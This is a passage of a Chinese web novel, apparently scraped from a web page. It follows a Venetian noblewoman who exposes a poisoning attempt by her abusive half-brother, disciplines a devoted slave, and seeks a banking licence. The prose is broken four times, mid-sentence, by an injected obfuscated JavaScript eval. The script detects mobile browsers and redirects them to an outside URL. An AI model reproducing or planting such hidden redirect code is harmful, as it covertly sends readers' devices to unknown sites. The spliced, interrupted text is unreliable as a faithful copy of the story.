“是。原本我以为事情已经结束,也不打算再追究,所以在葬礼结束后去拜访了丹多洛家的千金索菲亚·埃斯特。入夜后,玛丽亚专程到了索菲亚家来见我。她当面感谢了我在葬礼上出言相助,并将这盒杏仁脆饼送给我作为礼物。” “玛丽亚,确有其事吗?”马西莫问道。 “是,是的,我确实送了食盒……”玛丽亚脸色铁青,额上划过一道豆大的汗珠。 “玛丽亚离开后,我的兔子误食了这盒子里的脆饼,然后就当着我的面猝死了。我请来医生查看才知道,这些脆饼的原材料就是有毒的苦杏仁。” “这么说来,要不是这脆饼先毒死了兔子,那岂不是要毒杀莉莉安娜!?”弗朗西斯科吊儿郎当地啧着嘴巴评论道。 莉莉斯将怀里兔子的尸体放在长辈们面前的桌子上,那颗死不瞑目的眼睛里好似还带着惊恐的神色。紧接着她又将似刀刃般锐利的目光对准了玛丽亚。 “玛丽亚,我和你无冤无仇,我不相信是你蓄意谋害。你实话实说,是不是毛罗因为恨我当众让他丢脸,气急败坏之下指使你下毒害我?” “莉莉安娜,你这是血口喷人!”毛罗冲着莉莉斯大喊道。 “闭嘴!我没有在问你。”莉莉斯朝毛罗厉声喝道,又转而用平静温柔的嗓音对玛丽亚说,“玛丽亚,我知道你是被迫的。这一定不是你的本意。只要你说出事情的真相,大家一定会为你做主。” 玛丽亚惊恐地睁大眼睛不敢说话。突然,莉莉斯冲上前去扒开了她的袖管,露出玛丽亚胳膊上一道一道刺目的血痕。 “我就知道。他在外面都敢这样对你,在家中更不会放过你。你为什么还要为一个这样丧心病狂的疯子包庇呢?如果做实了他蓄意杀人,按照共和国的法律他将被开除教籍、驱逐出境,永不能回威尼斯。那么以后就再也没有人这样殴打你了。” “莉莉安娜,我看你是真活腻了。我在家里关起门来怎么管教我的老婆都是天经地义!留点痕怎么了,不够疼哪能记得住教训。你还敢把我驱逐出境?我看你他妈的就是没记住以前的教训,当初就不该——” “肃静!”马西莫朝着毛罗大喊,他才终于安静下来。 “玛丽亚,如果你有什么想要澄清,现在可以告诉我们。”布鲁诺的声音又低又冷,比起陈述更像是威胁。 整座房间的眼睛都盯在这个被殴打得全身是伤的瘦弱女人的身上,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973635|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有的人眼中还有一丝谨慎的怜悯,而另一些人则各自心怀鬼胎。玛丽亚看了看莉莉斯,又看了看三位长辈,最后低下头看了看自己的肚子,突然跪倒在地上。 “是我……是我不小心搞错了甜杏仁和苦杏仁。莉莉安娜,对不起,我真的不是蓄意害你,都是我粗心大意造成的……” “怎么可能?那你家里为什么会有苦杏仁……” “苦杏仁有微毒,稍微吃一点是没事的。毛罗他喜欢吃杏仁膏,按照传统的做法,就是需要加一定比例的苦杏仁来调和味道……只是我晚上手忙脚乱的,搞错了甜杏仁和苦杏仁的比例……” 玛丽亚满脸都是眼泪,楚楚可怜地向众人辩解,反倒显得莉莉斯在咄咄逼人了。 “也就是说,这些苦杏仁其实是吃不死人的!”布鲁诺从旁附议到。 “那你怎么解释其中添加的苦杏仁油?难道做甜品还需要加高浓度的毒油来调配口味吗?”莉莉斯焦急地质问道。 “不是的。我没有加这样的东西。我从未听说过什么苦杏仁油。” “那按照你的说法,苦杏仁只有微毒,这脆饼里的苦杏仁这么少,吃一块两块也死不掉。你敢当着众人的面吃一口吗?” “若不是我怀着克纳罗家的子嗣,我现在一定吃给你看来证明我的清白。可我不知道你是不是故意拿了什么下过毒的东西要来诬陷我,说是我在其中加了毒药,为了保护我的孩子,恕我不能接受!” “到底是后来加的毒药,还是烘焙之前已经下毒,医生都可以证明……” “你怀孕了?”马西莫直接忽略了莉莉斯的异议,问向玛丽亚道。 “是的,已经三个月了,是我和毛罗的第一个孩子。”玛丽亚微笑着回应,仿佛一想到孩子便感到幸福洋溢了起来,“这次的事情确实是我粗心大意犯的错,和毛罗一点关系都没有。我既然要感谢莉莉安娜,她与毛罗本就不和,我又怎么会让毛罗知道这件事呢?这都是我一个人的过错,如果要惩罚请都冲着我来吧!” “你都怀孕了,还能怎么罚你呢。”弗朗西斯科不知不觉间又把腿翘得老高,津津有味地欣赏着这出戏的走向突然逆转。 “就算毛罗以前做错过些什么,也请各位长辈看在孩子的份上,宽恕他一回吧。孩子不能没有父亲,就像妻子不能没有丈夫……” “好了。不必再说了。”马西莫挪了挪大腹便便的身体,打了个哈欠,“我已经知道事情是怎么回事了。你将有毒的食物给了莉莉安娜,虽然量不足以毒死人,但也确实是你的过错。看在你怀着孩子的份上,惩罚不宜过重,停毛罗家三个月的月金以示惩戒。” “就只是这样……?”莉莉斯难以置信地望着马西莫。 “你毕竟没有受到任何实质性的伤害,只是死了只兔子而已。”布鲁诺皱着眉头看向他的私生女,尖酸刻薄地评价道,“本来要给你带去施密德尔家的嫁妆都还在你的手上,你现在可有钱得很吧。玛丽亚说得没错,妻子不能没了丈夫。等丧期过了,也是时候再给你安排一门亲事把你嫁出去了。” “你休想!”莉莉斯像是被戳到痛处一般歇斯底里地大喊。 “好了,都散了吧。”马西莫站起身,在仆从的簇拥下离开了。 11. 疼痛的镇定剂 从克纳罗主家宫殿回索菲亚家的小船上,莉莉斯只是静静地坐在船头,沉默不语。夜里的海风微凉,海因里希主动脱下自己的披风盖在莉莉斯身上为她抵御寒冷。 他看着莉莉斯的红发在夜风中摇曳,不禁想起了与她初见时的场景。当时的莉莉斯如鬼魅一般笑着,随意几句话便决定着对奴隶的生杀大权,仿佛一个掌控一切的女王。而此时这个被亲兄弟下毒却求助无门的的莉莉斯却好像和从前不大一样了。 对于她来说,家庭似乎从来都不是温暖的保护伞,而是利用她、盘剥她的工具;婚烟更不是幸福美满的爱情修成正果的结晶,而是牢笼,是流放,是嗜虐与暴力的遮羞布。在这样的环境下,没有人值得信任,没有人能帮她,她只能靠她自己。 上岸后塞西莉娅陪着莉莉斯回客房准备就寝,海因里希则在索菲亚家仆的安排下住进了佣人住的寝室。正当他洗漱完毕打算睡下的时候,塞西莉娅推开他的房门,冷言冷语道: “夫人让你过去。” 海因里希感到意外。莉莉斯总是让塞西莉娅陪侍她休息,从来没有在睡前让自己过去过。难道有什么事是他做的了,塞西莉娅却做不了的吗?当然,她买下的奴隶,想要怎么使用海因里希都只能悉听尊便。于是他重新换上外衣,敲响莉莉斯卧室的房门。 “进来。” 海因里希推门进去,看见莉莉斯穿着黑色的真丝睡裙,裹着被子半躺在床上。有一盘樱桃奶冻放在她的床头柜上,旁边的餐布上摆了两个银勺子。 “你先吃一口。”莉莉斯命令道。 海因里希意识到自己被叫来的原因——当试毒犬。毕竟塞西莉娅作为莉莉斯的心腹,要是被毒了她可得心疼老半天。而宠物狗被毒死了,大不了也就像那只兔子一样,再买只新的就可以了。 他挖了一勺奶冻放进自己嘴里。奶香浓郁,樱桃微甜,没有任何异味。于是他换上干净的勺子,又挖了一口,喂到莉莉斯的嘴边。他的女主人眨了眨眼,张开嘴将奶冻含进嘴里。 “您感觉好些了吗?”等她将一整个奶冻都吃完了,海因里希把餐具收起来,温柔地问道。 “没有。” “我要怎样可以帮到您呢?” “你之前说的,嗯,你还愿意吗?” 莉莉斯有些不好意思地指了指海因里希的皮带,他立刻领会到她的意思。原来除了试毒以外,还有一项工作也是塞西莉娅做不了的——平白无故遭受女主人的鞭打。 “当然。”海因里希解下皮带,再一次递给到莉莉斯的手中。 “转过去,背对我,跪下来。” 莉莉斯将略长的皮带弯折两次后握在手里,狠狠地打在海因里希的背上,发出一声闷响。 “疼吗……?”莉莉斯有些犹豫。 “不疼。”海因里希觉得有些好笑,不仅是不疼,而且由于莉莉斯发力方式不对的缘故,皮带落在他身上没有一点劲,简直像是在挠痒痒。 况且莉莉斯的两支手臂加起来也才有海因里希的一支手臂那么粗,皮带的受力面较宽,他还穿着一层外衣,所以即使她用尽全力,也很难把他真的打疼。 “疼的话告诉我,我会停下来的。” 莉莉斯再次抽起皮带猛挥了几下,这回海因里希终于感受到了一丝细微的疼痛。他回过头,才发现莉莉斯已经气喘吁吁地倒在枕头上休息。 脾气挺大,力气倒是一点没有。海因里希差点没忍住笑出了声,只好赶紧转过身去,为莉莉斯到了一杯水递给到她手中。 “现在心情好些了吗?” “如果靠揍你就可以解决问题,我早就……唉,算了。谢谢你。” “职责所在。”海因里希从莉莉斯手里拿回皮带重新系上,“我能为您做的也不止这些。毛罗的事,如果您想的话……” “按照他现在的身份若是不明不白的死了,那群克纳罗一定会调遣执法官彻查到底,就算实在查不出什么,也有一万种方法把黑锅扣到我的头上。”莉莉斯恶狠狠地攥紧柔软的羽绒被,“我现在的当务之急甚至不是向他复仇,而是保全自己。我就知道他们一定不会放过我的。上一任丈夫才死了一个多月,立马就恨不得再把我嫁出去。这回又想把我嫁到哪儿?巴黎?布鲁日?还是伦敦?我绝对不能让他们得逞。莉莉安娜哪里也不去,就要留在威尼斯。” “您打算怎么做?” “我要加入汇兑商行会,正式开业我自己的银行,那样的话我的身份就再也不只是克纳罗家的私生女或是施密德尔家的未婚妻,而是‘放贷的莉莉斯’。莉莉斯不是伊甸园的子民,也不是亚当的附庸。她是一个自由的人。” “汇兑商行会是?” 海因里希对她的话并不意外。从莉莉斯目前信贷事业的经营规模和资金量来说,早就足以经营一家小型银行了。她有能力也有资本配得上她的野心。 “是一种半官方性质的工会,对成员实施担保与监管。只有成功加入行会才能获得许可证,拥有合法经营的权利。哪怕我知道他们几乎不可能会给一个女人颁布许可证,我也必须要试一试……” “回去之后,我会和夏洛克一起全力以赴地准备您需要的送审资料。”海因里希坐在床沿上,为莉莉斯揉了揉刚才挥鞭打他的手臂,“至于毛罗的事,只要您首肯,我愿意在基础工作之外额外花时间为您去收集他的罪证。他这样品行的人,坏事做多了,总会留下些什么痕迹的。” “好。我批准了。”莉莉斯突然伸出手指戳了戳海因里希眉骨上的疤痕,“注意安全。” “还有一件事我需要您答应我。”海因里希掀开被子的一角,将莉莉斯的手臂重新塞回被子里,“今晚好好休息,不要再难过了。” “……”莉莉斯沉默地看向他,良久才终于开口,“谢谢你,海因里希,晚安。” 城市的另一边,毛罗家中。 “啪!”一记响亮的巴掌落在玛丽亚的脸上。即使怀了孩子打不了身体,起码也还可以打脸,毕竟只攻击头部总不至于把孩子打没了。 “没用的东西!”毛罗愤怒地骂到,“你不会看着她吃下去再走吗!她居然还敢攀咬到我身上来!” 玛丽亚捂着滚烫的脸颊坐倒在地上,两行眼泪顺着眼角向下滑。 “现在好了。罚了我三个月的生活费,我下个月欠的钱拿什么去还?” 毛罗突然注意到玛丽亚手腕上的一只金镯子,猛地捏住了她的胳膊。 “这是我母亲留给我的最后一件嫁妆了……” 毛罗毫不留情地将镯子扒了下来掂量着重量:“要不是你失手,我会缺这点钱吗?你有没有看到莉莉安娜手上戴的戒指,还有那几个新买的走狗?一个女奴生出来的杂种,过得比我这个嫡子还要优越, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973636|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这简直是到反天罡!” “我听说她在靠放贷赚钱……” “这种话你也信?她一个女人,哪有本事张罗得了这种活儿?要我说,她跟她那个不三不四的娘就是同样的下贱货色。只不过她靠着克纳罗家的名声踏进了上流社会,更方便她向腰缠万贯的恩客岔开腿罢了!” “这怎么可能呢……她好歹也是克纳罗家的女儿……” “怎么没可能?她丈夫才刚死没多久,她立刻就去买了个小白脸,这不正是她生性□□的铁证吗?克纳罗家族的门楣都要为她而蒙羞!等着,等我抓到了她的把柄,就算弄不死她,也得将她逐出威尼斯,不然要是老头子心软了,本属于我的遗产可就打水漂了!我这可都是为了咱们儿子考虑啊……” 玛丽亚又一次低下头,轻轻抚摸着自己的小腹,感受着一个新生命在自己的身体中孕育,感受着她与丈夫,与这个家族,与这个世界最深刻的连结。 周末,莉莉斯在索菲亚的家里继续休整了两天,还在好友热情的坚持下重新量体裁了几身新衣服。按照莉莉斯的要求,清一色的全部是不同款式、不同材质的黑裙子,几乎像是把丧服焊在自己身上作为一种特殊的保护色。 海因里希和塞西莉娅也各自得了两套新衣。特别是海因里希——尤为擅长男装剪裁的设计师为他专门量身定制的衬衣和外套,衬得他身材更显挺拔高挑。他突然反应过来,自己刚刚到莉莉斯家里的时候,她就已经备好了一些做工极好的成年男装。海因里希有些好奇地询问那些衣服的来源与目的。 “是我自己做的,给我丈夫准备的衣服。”莉莉斯面无表情地瞥了一眼穿着新衣服的海因里希,“一年前就已经定下了婚约,最开始我也没想好要他去死。但是在亲眼目睹了我身边大大小小的婚姻故事之后,我决定不能让自己的命运被掌控在一个陌生男人的手里。” 海因里希感到五味杂陈。站在莉莉斯的角度,她的不安全感与自保行为似乎顺理成章。可是如果她当初没有选择那么做,如果仍然是施密德尔家少爷的海因里希了解到了莉莉斯在克纳罗家所经历的一切,了解到了她在威尼斯悉心经营的事业,了解到她所遭受的这些苦楚,他绝对会运用他所能拥有的一切金钱、权力与资源去帮助她,保护她,为她扫清一切障碍与烦恼,而不是像现在这样,只能以一个卑微奴隶的身份陪在她身边。 不过他还是没有办法原谅她。尽管他意识到自己心中对莉莉斯产生了一些多余的情感,但他仍然清晰地记得莉莉斯胸口那一颗被她所处的环境所浸泡得沁进了毒液的心。 威尼斯就像其赖以生存的泻湖一样,海水为它带来了通商的机遇与金钱,也滋养着欲望的膨胀和致命的瘟疫。莉莉斯生活在这样的大染缸里,终究是没有办法幸免。 周日晚上,莉莉斯在两位仆从的陪伴下坐船回到她居住的小楼。塔塔迫不及待地等在门口向她报告了两个消息,一个坏消息和一个好消息。 “那位给出杏仁脆饼化验结果的医生死了。” “意料之中,毛罗不可能放过他的。”莉莉斯叹了口气,“好消息是什么?” “埃莱娜小姐要从佛罗伦萨回威尼斯了!” “哦!太好了!”莉莉斯激动地握住海因里希的手,兴奋地在原地转了个小圈,露出一个无比灿烂的笑容。海因里希欣慰地看着她。她好久没有这么开心地笑过了。 12. 汇兑的秘密花园 意大利春日午后的阳光温柔地洒在小花园中郁郁葱葱的草地上,黄白相间的小雏菊在微咸的海风中跳舞。莉莉斯和几位年纪相仿的贵族小姐一起相聚在其中一位贵妇人家别墅背后的秘密花园。她们惬意地坐在野餐布上享受阳光,一边品尝葡萄酒和各色甜点一边闲话家常。 只不过对于莉莉斯来说,这样的场合从来都不仅仅是与好友消磨时光的娱乐活动,也是商机涌现的生意场。 “我家里和我关系最好的亲戚埃莱娜阿姨要从佛罗伦萨回来了~赶着要回来参加复活节和圣马可节的祭典。” 莉莉斯穿着一身轻薄的黑色纱裙,头饰上的黑纱固定在高高挽起的盘发上,随着微风轻柔地飘。几个修道院学校时期认识的贵族少女围在她身边。她们普遍比莉莉斯年纪小一些,穿着五彩缤纷的衣服,仿佛春日盛开的花朵般明媚娇艳。 海因里希远远地站在花园的角落里陪侍他的女主人。今天上午他在夏洛克的安排下算了一上午的账本,费了好大劲才终于将账目两边成功配平。下午能够陪着莉莉斯一起出门晒太阳,倒也算是一种放松休息了。 莉莉斯总是在提起埃莱娜时便眼睛放光。如果说索菲亚是她最好的朋友兼最大的客户,埃莱娜姑姑就是她最敬重的长辈与最信任的合伙人,也是她在佛罗伦萨的汇兑交易代理人。 “是那位十四岁就参加了商船护卫队的航海家女士吗?” “还是那位在佛罗伦萨经营丝绸和羊毛生意的克纳罗家女商人?” “是的是的,埃莱娜姑姑特别厉害。”莉莉斯一边说着,一边咬了一小口手中的黄油曲奇饼干,“我小时候就希望能够成为像她那样厉害的人。真不知道佛罗伦萨是什么样的,我还从来没有去过呢。” “我下周要和丈夫一起去佛罗伦萨省亲。”一位穿着明黄色连衣裙的年轻贵妇人向大家分享到,“我也从来没去过,听说是一座很有魅力的城市。” “那里盛产羊毛呢料和皮具,我听说最近时兴着一种最新款的羊毛料,非常轻便透气,最适合春秋季节穿。”莉莉斯嗅到了商机,兴致勃勃地开始介绍,“不过那边用的货币是弗洛林,商家都只认印着鸢尾花的金币,不收咱们的圣马可像。” “那要怎么办?可以带着杜卡特去到之后再兑换弗洛林吗?”黄裙子的女孩不解地问。 “当然可以,只是这么做的话你起码得雇佣五个胡子拉碴的侍卫,还得一个个全部配备上德意志最新研发的火铳和板甲才行。”莉莉斯笑着提议道,“不过,其实我可以帮你解决这个难题。只要我给你写一封介绍信,你拿着信到佛罗伦萨去找到埃莱娜小姐的办事处,她们就会直接把漂亮干净的鸢尾花金币交到你的手中。” “真的吗?”黄裙的女孩惊讶地睁大了眼睛。 “当然是真的。大家都是朋友,举手之劳而已。”莉莉斯甜甜地笑着,“等你旅行回来之后,直接在威尼斯还给我杜卡特就行了。” “好啊,这也太方便啦!” 黄裙子的女孩露出欣喜的笑容。另外几个年纪更小的女孩子似懂非懂地面面相觑,逐渐岔开了别的话题。莉莉斯突然对着海因里希眨了眨眼,投去一道意味深长的目光。 等聚会结束的时候,莉莉斯笑着将海因里希代笔拟好的介绍信交给了穿黄裙的女孩子,信上明确写了在佛罗伦萨兑换的弗洛林数额为100,签发日期为3月20日,兑现日期为4月1日,还款日期则是兑付后一个月的5月1日,还款汇率为1弗洛林=1.1杜卡特。 也就是说,莉莉丝的新客户将会在10天后到达佛罗伦萨并直接提取100弗洛林,然后在一个月回到威尼斯,还给莉莉斯总计 110杜卡特。 这个汇率当然是莉莉斯调整后的结果——根据塔塔传来的最新市场资料,威尼斯里亚尔托大桥货币兑换集市上杜卡特现钞的价格其实略高于弗洛林,大概是1杜卡特兑1.2弗洛林。如果按照这个汇率结算,莉莉斯出借100弗洛林,其实理应只能收到83杜卡特的还款。而这多出来的27杜卡特,囊括了转账服务费、实时汇率风险与借款利息。这一系列操作的本质,就是在用汇差替代利差,以汇兑的名义实施信贷,顺利规避教会法对于“不能收利息”的要求。 当然了,手握重金的贵族小姐也不是傻子。双方之所以能够对这个汇率达成妥协,一方面有莉莉斯付出的人工成本的缘故,另一方面也是因为弗洛林是佛罗伦萨的流通货币,在当地更加值钱,汇率本身也会与威尼斯有所不同。再加上商品价格的变动总是风云莫测,提前订好一个偏高的汇率对双方也都是一重保险。 这一套操作不是莉莉斯的独创,相反,是意大利北部几乎所有大银行都在做的事。长期往返于两地的商人基数庞大,所产生的汇兑与贷款需求也相应的水涨船高。借给贵族小姐旅游开销只是一笔头进行的小生意,但如果能与大行商建立长期信任的合作关系,那莉莉斯的信贷业务将长期、稳定地涌入源源不断的资金。 而这一切,都需要建立在获得了汇兑商行会经营许可证的情况下才能进行。 克纳罗家和莉莉斯本就关系尴尬,自然不可能出面帮她。更何况银行这种在教会法约束下带有灰色地带意味的汇兑交易总会被人冠上“放贷者”的罪名,实在算不上是一件多么光彩的事。这也是为什么除了亲自培养的奴隶与沾亲带故的犹太会计师以外,她没法找,也根本找不到人可以为她工作。 正因如此,海因里希不得不身兼数职。上午紧锣密鼓地准备送审需要的账目资料,下午陪着她完成一笔新的汇兑交易,紧接着又马不停蹄地回家,披上一身二手市场买来的旧斗篷,将梳理得过分整齐的金发抓乱,从不起眼的后门离开,混入进大街上来来往往的人群。 调查毛罗虽然是一份额外的工作,但也为海因里希换来了自由行动不受塞西莉亚监视的特权。他作为一个五大三粗的德国男人,比一般的意大利男性平均身高还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973637|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要高些,实在不适合做跟踪、盯梢一类的活儿。但是不要紧,他自然能找到在这方面比他做得更好的人。 莉莉斯给了海因里希一个杜卡特的调查经费。他一下子不至于用掉这么多钱,于是找塞西莉亚把金币换成六十枚格罗索银币,又找街头的小汇兑商用格罗索换了一些面值更小的苏尔迪银币,还从家中厨房问伊万卡拿了一些莉莉斯不爱吃准备丢掉的糖果和甜品。 在威尼斯城中生活了一周左右,海因里希算是把市中心上流阶级社区的街街巷巷摸了个清楚。在一个空旷的小广场上,他找到几个正在街道上闲逛的流浪小孩。这些孩子往往和家人一起住在贫民窟里,闲来便跑到富人住的街区乞讨或是做些跑腿的工作,找不到时就在街头巷尾到处游荡。 再没有什么人比这些街景的天然组成部分更适合跟踪了。海因里希给他们一人塞了几个苏尔迪和糖果,让孩子们帮他留意毛罗的动作。打点完了,他立刻离开了广场,转道向里亚尔托大桥附近的德意志商行会走去。 傍晚的商行已经打烊,但行商们总喜欢聚集在街道附近的巴伐利亚式酒馆中喝酒、聊天、玩纸牌、掷骰子。这里甚至还未客居异国他乡的商人们提供各种千奇百怪的“便民”服务,例如比官方邮政渠道更快捷的送信,意大利语和德语的文件翻译,甚至还有提供德语服务的妓女。 海因里希用几个苏尔迪买了一杯黑麦生啤,静静地坐在角落里旁听着商人们的聊天。他还记得自己当初接亲时肩负的家族任务,尽管那或许再也没有办法被实现了——与克纳罗家族形成商业联盟。施密德尔家族负责生产上好的精铁、板甲、刀剑与火铳,而克纳罗家族在威尼斯为他们的商品打开商路,将这些武器销售给远洋航行的商船、意大利北部的雇佣军队或是威尼斯东部的造船厂。 在此之前,施密德尔家在威尼斯没有自己的专属经销商,只能将商品低价转卖给旅行商人,再由他们小批量地转卖到其他地区。但如果能打通一整条销售链,去除了中间商赚差价的部分,对施密德尔家族而言利润将会大大增加。 可是由于海因里希的“死亡”,商业契约的洽谈不尴不尬地停滞了。市场迅速被抢占。根据商行中人们的讨论,可以得知现在威尼斯城中的钢铁贸易几乎是富格尔家族一家独大的局面。他们为了打开海上商路,不惜将幼子送到威尼斯的商行里当学徒以学习最先进的会计理论,再借机打入当地市场。 从这个角度来看,海因里希的工作经历放到别的德国商人眼中倒成了难能可贵的进修课程。如果他能够在这段时间之内熟练掌握各种金融工具的运用,成功为家族的商品打开销路,那他这一趟忍辱负重的经历倒也算不上一无所获了。 通过酒馆的邮寄渠道,他向弟弟威廉再次寄出一封信件。在等到施密德尔家的回信之前,他先等到了孩子们所收集到的毛罗一周行程的信息。结果令他大跌眼镜。在采取进一步调查之前,他有必要向莉莉斯汇报他的发现。 13. 莉莉斯的换装游戏 “怎么能让夫人穿这么不得体的衣服!”塞西莉娅扶额叹息。 站在她面前的莉莉斯正穿着一套海因里希从跳蚤市场上买来的旧男装。黑色的衬衫已经被洗得有些泛白,灯笼裤的裤腿上还破了个无伤大雅的小洞。整套衣服里只有那一双小马靴是新的。莉莉斯在意大利的贵妇人中本就算是偏高挑的身材,穿上那双带跟的马靴后与街上的男性平均身高更是相差无几。等把一头长发束起来,再披上斗篷掩饰面容,便没有人能发现这其实是一位女士了。 莉莉斯对自己这身打扮倒还算满意。她正站在镜子前兴致勃勃地打量着这个不同寻常的自己。塞西莉娅见女主人不给自己帮腔,只好用充满怨念的目光瞪向同样衣衫褴褛的海因里希。 “其实偶尔穿一次破衣烂衫也没什么。”莉莉斯笑着对她说,“今天上午穿着那么正式的礼服去汇兑商行会,不也还是没办法得到他们的尊重吗?如果说换上这套衣服就能拿到经营许可,我恨不得现在就把它就焊在身上了。” 塞西莉娅哑口无言。今天上午她陪着莉莉斯前往商行,带上了所有注册需要的账目资料,重金贿赂得来的三封会员推荐信,还有应急备用款和注册资本金。着装方面,莉莉斯搬出了自己最隆重的行头——一身厚重的黑色绸缎长裙,未婚夫送给她的祖母绿项链和红宝石婚戒。然而,商行前台的管事却只当作她是来寻找丈夫的商人之妻。 “我不是来找丈夫的。我是来递交行会入会申请的。”莉莉斯把文件和一袋沉重的金币放在柜台上。 管事的男人不当回事地瞥了她一眼,咕哝道:“让申请人自己过来。” “我就是申请人。”莉莉斯抬起头,努力地摆出一副商人的架子,“我的名字是莉莉安娜·克纳罗。我来申请开设自己的银行。” “女人?女人不能开银行。” “没有任何一条法律规定女人不能开银行。” “没有人会放心把钱存在女人开的银行里。”男人不耐烦地解释道,“你不会有客户。” “我有客户。女人也会有存款与汇兑的需求,这就是我正在做的事。”莉莉斯有些焦急地从牛皮纸袋里掏出夏洛克与海因里希提前准备好的账目表,“这是我去年一年的资产负债表……” “……你的丈夫允许了吗?”男人满腹狐疑地看着羊皮纸上清晰明了的账目。 “我的丈夫去世了。”莉莉斯顿了顿,补充道,“他在世时和我感情特别好,总是支持我的所有决定。” “……“男人仍旧持怀疑态度,但是看着那袋子金币却又实在不好说些什么,只好先收下文件和注册所需费用,通知她七日后来听取申请结果。 莉莉斯心中隐约浮现出不好的预感。但是没办法,她只能有些失落地回到家,在办公桌前看着备份账目发呆。突然,海因里希敲响了她的房门,给她带来一个足以令她重新打起精神来的消息。 “我获取了毛罗这一周去过的所有地方的信息。”海因里希将一张他整理好的表单递给莉莉斯,“过去七天里,他一共去了四次赌场,三次妓院,还有一处里亚尔托大桥附近,卡兰帕尼路上的的民宅。因为涉及到一些敏感的场所,我没有继续调查,等待您的进一步指示。” “我父亲就是在赌场里认识了我的母亲。”莉莉斯笑着翻了个白眼,“他倒是子承父业了啊。怎么样,赌债欠得多吗?” “我能查到的,目前有一百杜卡特左右。” “肯定不止。”莉莉斯心满意足地靠在椅背上伸了个懒腰,“难怪当时说扣他月金的时候他在那儿无能狂怒呢,原来是欠了债的窟窿还不上,等着家里给的钱去还债啊。至于卡兰帕尼路的民宅……让我看看,哦吼吼,原来是交际花的小别墅呀。” “交际花?” “是的。这位女士据说是从巴黎远道而来的大美女呢。”莉莉斯愉快地站起身来,“你说,他先去了交际花的别墅,后面又连着去了三次妓院,是否是因为高级妓女拒绝了他的求爱,他只好转道去提供廉价服务的地方发泄欲望?让我们去会会这位美女姐姐,看看能挖到些什么有趣的故事。” “夫人……您去交际花那里……是否有些不妥?”塞西莉娅担忧地问。 “有什么不妥的呢。男人支付金钱获取皮肉服务,而我支付同样的金钱,却只需要她陪我说说话。这么划算的交易,我想她一定会应允的。” 拗不过她的女主人,塞西莉娅只好协助莉莉斯脱下过于正式的礼服,换上了一身简约大气的黑色便装长裙,由海因里希陪着她前往交际花的住所。 交际花住在最热闹的里亚尔托大桥附近,室内装潢如宫殿般奢华,正门的旋转楼梯口上悬挂着一幅知名画师为她绘制的肖像。画像中的她留着浅金色长发,穿着半透明的白色纱裙,尽显丰腴性感之美。 “太美了……” 莉莉斯情不自禁地感叹道,盯着这幅肖像画露出了十分艳羡的目光。海因里希看着凝视画像的莉莉斯,回想起了自己在初次收到未婚妻画像时的激动与喜悦。那是他见过最伟大的艺术品,没有任何其他画作能与之相媲美,因为画像中描绘的是他这辈子见过最美的女人。 尽管很多人或许并不会认同他的观点,因为威尼斯城中妇女崇尚的大多是如交际花这般成熟丰满、凹凸有致的身材,柔美的五官与浅金色的头发。为此她们不惜蒙住身体,将长发散开暴露在阳光下,只为了将棕色的头发晒成浅色。 而莉莉斯相比之下则显得有些过分单薄瘦削,还有一头遗传自母亲的显眼的红发,与上流社会的审美背道而驰。但海因里希从来不在乎这些世俗的条条框框。他从未见过任何人有莉莉斯那样一双顾盼生姿的眼睛,浅绿色的眸光中时不时折射出狡猾的坏点子,危险却又令人着迷。 他刚想将自己的心中所想告诉她,告诉她根本没有必要羡慕交际花之时,莉莉斯却露出了狡黠的笑容,先他一步开口感叹道: “等我以后有钱了,一定要请最有名的大画家给我画很多很多美男子的画像,客厅里挂一幅,卧室里挂一幅,餐厅里挂一幅,书房里也挂一幅。等工作累了就抬头看看画像,心情就好过来了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973638|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……” 海因里希不知自己是该为她感到庆幸还是惋惜。没过多久,如画中所绘般美丽的交际花便在侍女的陪伴下来到会客厅。莉莉斯带来此行的礼物——一对成色上乘的珍珠耳环。而后便开门见山地谈起了此行的目的。 “你说毛罗?那个克纳罗家的毛头小子?恕我直言,他可真配不上他的家族名号。” 